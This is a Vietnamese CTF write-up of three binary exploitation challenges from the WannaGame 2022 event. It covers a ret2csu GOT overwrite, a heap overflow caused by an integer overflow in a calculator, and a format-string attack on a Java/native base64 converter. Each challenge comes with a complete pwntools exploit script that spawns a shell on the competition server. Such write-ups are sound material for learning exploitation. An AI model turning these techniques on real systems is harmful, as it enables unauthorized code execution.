Một vài bài pwn khá thú vị và đặc biệt có sự xuất hiện của pwn với java (mặc dù ta không động gì đến java internal)
Dec 10,2022
Lâu lắm rồi mới có một giải CTF local mà mình có thời gian tham gia (mặc dù mình đang trong đợt thi kết thúc học phần)
Đây là năm đầu tiên mình tham gia giải WannaGame và cũng chắc là giải CTF cuối cùng mình tham gia trong năm nay. Vì vậy mình muốn tổng kết lại chút một vài kỹ thuật exploit mà mình đã học được (cũng không có gì nhiều lắm)
Warmup
Ta có thể đoán được bài warmup này sẽ là buffer overflow gì đó…
Sau khi mình thả vào Ghidra thì ngay lập tức nhìn ra vuln.
Chúng ta có thể nhập n phần tử vào mảng tùy thích. Mỗi phần tử được nhập với scanf format %lu.
Vậy nên để bypass tránh việc ghi đè canary ta chỉ cần
Vậy giờ ta hoàn toàn có thể ROP leak libc và rồi ret2libc. Nhưng ở đây mình sẽ dùng một vài rop gadget đặc biệt mà nhờ vậy ta không cần leak.
2 gadget ta sẽ dùng đó là:
0x4013ca <__libc_csu_init+90>: pop rbx
0x4013cb <__libc_csu_init+91>: pop rbp
0x4013cc <__libc_csu_init+92>: pop r12
0x4013ce <__libc_csu_init+94>: pop r13
0x4013d0 <__libc_csu_init+96>: pop r14
0x4013d2 <__libc_csu_init+98>: pop r15
0x4013d4 <__libc_csu_init+100>: ret
0x40119c <__do_global_dtors_aux+28>: add DWORD PTR [rbp-0x3d],ebx
0x40119f <__do_global_dtors_aux+31>: nop
0x4011a0 <__do_global_dtors_aux+32>: ret
Với 2 gadget này ta có thể add vào địa chỉ chứ tại [rbp - 0x3d] với ebx ta kiểm soát.
Đồng thời ta thấy rằng binary ở đây có Partial Relro, nên ta sẽ
One_gadget mình dùng:
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
Exploit script:
#!/usr/bin/env python3
from pwn import *
r = remote("45.122.249.68", 20001)
p = b'+'*20
p1 = 0x4013ca
add = 0x000000000040119c
printf_plt = 0x404020
need = 0x8b581
pop_rbp = 0x000000000040119d
def e(x):
return str(x).encode() + b'\n'
p += e(p1)
p += e(need)
p += e(printf_plt + 0x3d)
p += e(0)*4
p += e(add)
p += e(pop_rbp) + e(0x00000000404500)
p += e(0x401090)
r.sendlineafter("n: ",str(30).encode())
r.sendafter("[0]: ",p)
r.interactive()
P/s: Technique này sẽ không còn tồn tại khi compile với gcc mới nhất vì gadget ret2csu mà mình dùng để điều khiển rbx sẽ không còn :<
Baby_calc
Binary không bị stripped nhưng mà sẽ hay hơn nếu mà anh pivik cho source code đặc biệt là với format 8 tiếng :<
Chương trình sẽ cho ta vô hạn lần cung cấp command cho calculator, command sẽ có struct như sau:
struct command {
uint32_t op;
uint32_t feedback_len;
uint32_t a;
uint32_t b;
};
struct command này sẽ được parse ra và lưu vào struct data để calculator thực hiện sau:
struct data {
uint32_t op;
uint32_t feedback_len;
uint32_t a;
uint32_t b;
char * feedback;
int (*func_op)(int,int);
};
Ngoài ra các kết quả của phép tính sẽ được lưu dưới dạng singly-linked list.
Vuln nằm ở trong quá trình malloc array để chứa feedback.
feedback_ptr = malloc(user_command->feedback_len << 3);
Quá trình tính size để malloc rất lạ lùng…
Do ta cung cấp size với 32 bit, vậy nên dịch trái 3 bit có thể dẫn tới integer overflow. Dẫn đến malloc một số bé và rồi read một số lượng lớn ở sau.
read(0,data_calc->feedback,data_calc->feedback_len);
Điều này dẫn đến heap overflow ta có thể overflow tất cả các struct nói trên.
Để leak được đầu tiên ta sẽ lợi dụng trong hàm view_result sẽ dùng
Vậy ta sẽ overflow operator_data được lưu lại của phép tính trước với ‘A’ để dẫn đến: ‘AAAAAAAAAAA’ + heap address.
Sau đó sẽ overflow operator_data pointer ở trên heap của struct singly-linked list đã nói trên,
Với heap address leak được ta sẽ
Cuối cùng ta chỉ cần overflow function pointer thành one_gadget.
malloc struct data -> malloc feedback -> read feedback -> malloc operator_data -> malloc singly-linked list node -> free feedback
Vậy nên ta thấy rằng ban đầu khi ta overflow feedback thì sau đó không có gì quan trọng để ta ghi đè.
Cho nên ta cần
Lúc sau khi ta integer overflow malloc(0) thì ta sẽ lấy ra cái chunk feedback 0x20 trong tcache (chunk feedback phép tính 1) và sẽ giúp ta
Exploit script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./baby_calc_patched")
libc = ELF("./libc.so.6")
#r = gdb.debug('./baby_calc_patched')
r = remote("45.122.249.68", 20002)
def new(size):
return b'+\0\0\0' + p32(size) + p32(0)*2
sz = 536870912
r.send(new(0))
r.sendafter("0\n",new(536870912))
p = p64(0)*3 + p64(0x91) + b'A'*(0x90 - 1) + b'|'
r.sendafter("feedback:",p)
r.recvuntil(b'|')
heap = u64(r.recv(6).ljust(8,b'\0'))
log.info("HEAP LEAK: " + hex(heap))
r.sendafter("0\n",new(536870912))
p = p64(0)*3 + p64(0x91) + b'\0'*(0x90 - 8) + p64(0x21) + p64(heap + 0x1a8)
r.sendafter("feedback:",p)
r.recvuntil(b'\x8f')
pie = u64( (b'\x8f' + r.recv(5)).ljust(8,b'\0'))
log.info("PIE LEAK: " + hex(pie))
r.sendafter("0\n",new(536870912))
p = p64(0)*3 + p64(0x91) + b'\0'*(0x90 - 8) + p64(0x21) + p64(pie + 0x2d09)
r.sendafter("feedback:",p)
r.recvuntil(b'\x70')
libc = u64( (b'\x70' + r.recv(5)).ljust(8,b'\0'))
log.info("LIBC LEAK: " + hex(libc))
one_gadget = libc - 0x60770 + 0xebcf8
r.sendafter("0\n",new(8))
r.sendafter("feedback:",b'\0')
r.sendafter("0\n",new(536870912 + 8))
p = p64(0)*9 + p64(0x91) + b'\0'*(0x88)
p += p64(0x31)
p += p64(0x200000080000002b) + p64(0)
p += p64(heap + 0x380)
p += p64(one_gadget)
r.sendafter("feedback:",p)
r.interactive()
base64-convert
Về cơ bản bài này chỉ là sử dụng hàm convert trong libconvert.so, và vuln nằm trong libconvert.so với integer overflow.
Ngoài ra có một logic bug khác ở java đó là
struct data {
uint16_t len;
char data[];
};
(**(code **)(functions + (long)(int)*(char *)(message_struct->data + message_struct->len) * 8))
(data_string,len);
Khi length của message chúng ta bên java = 0x10070 thì length ở bên hàm convert sẽ chỉ còn là 0x70 dẫn đến cái
Vậy nên ta chỉ cần overflow và chọn một index là số âm để gọi printf có trong got table. Từ đây ta có
Ta rồi có thể leak các address và đồng thời data_string nếu có length < 0x7f sẽ được lưu trên stack,
Exploit script:
from pwn import *
def ap(s):
r.sendlineafter("Exit\n",b'4')
r.sendafter("string: ",s)
def en():
r.sendlineafter("Exit\n",b'1')
def de():
r.sendlineafter("Exit\n",b'2')
def clr():
r.sendlineafter("Exit\n",b'5')
def prt():
r.sendlineafter("Exit\n",b'3')
#r = remote("localhost",9003)
r = remote("45.122.249.68", 20028)
def bug(s):
clr()
ap((s.ljust(0x70,b'\0') + p64(0xea)).ljust(0x400,b'\0'))
for i in range(62):
ap(b'\0'*0x400)
ap(b'\0'*(0x400-1))
ap(b'\0'*(1+0x70))
en()
context.log_level = 1
bug(b"|%149$llx|%3$llx|")
r.recvuntil(b"|")
libc = int(r.recvuntil(b'|')[:-1],16)
base = libc - 0xa51b9
convert = int(r.recvuntil(b'|')[:-1],16)
base_convert = convert - 0x1060
system = base + 0x50d60
log.info("LIBC BASE ADDRESS: " + hex(base))
log.info("CONVERT BASE ADDRESS: " + hex(base_convert))
ad = {}
ad[system & 0xffff] = 0
ad[(system >> 16) & 0xffff] = 1
ad[(system >> 32) & 0xffff] = 2
addr = []
addr.append(system & 0xffff)
addr.append((system >> 16) & 0xffff)
addr.append((system >> 32) & 0xffff)
addr.sort()
p = f"%{addr[0]}c%{20 + ad[addr[0]]}$hn%{addr[1] - addr[0]}c%{20 + ad[addr[1]]}$hn%{addr[2]-addr[1]}c%{20 + ad[addr[2]]}$hn"
p = p.encode()
p = p.ljust(0x50,b'\0')
p += p64(base_convert + 0x40e0) + p64(base_convert + 0x40e0 + 2) + p64(base_convert + 0x40e0 + 4)
bug(p)
clr()
ap(b'/bin/sh')
en()
r.interactive()
Lời kết
Rất cảm ơn anh pivik#3475
và Cobra#4365
đã ra những pwn challenge hay và phù hợp với format 8 tiếng.
Đặc biệt bug bài java của anh Cobra rất là thú vị và khó tìm thấy :)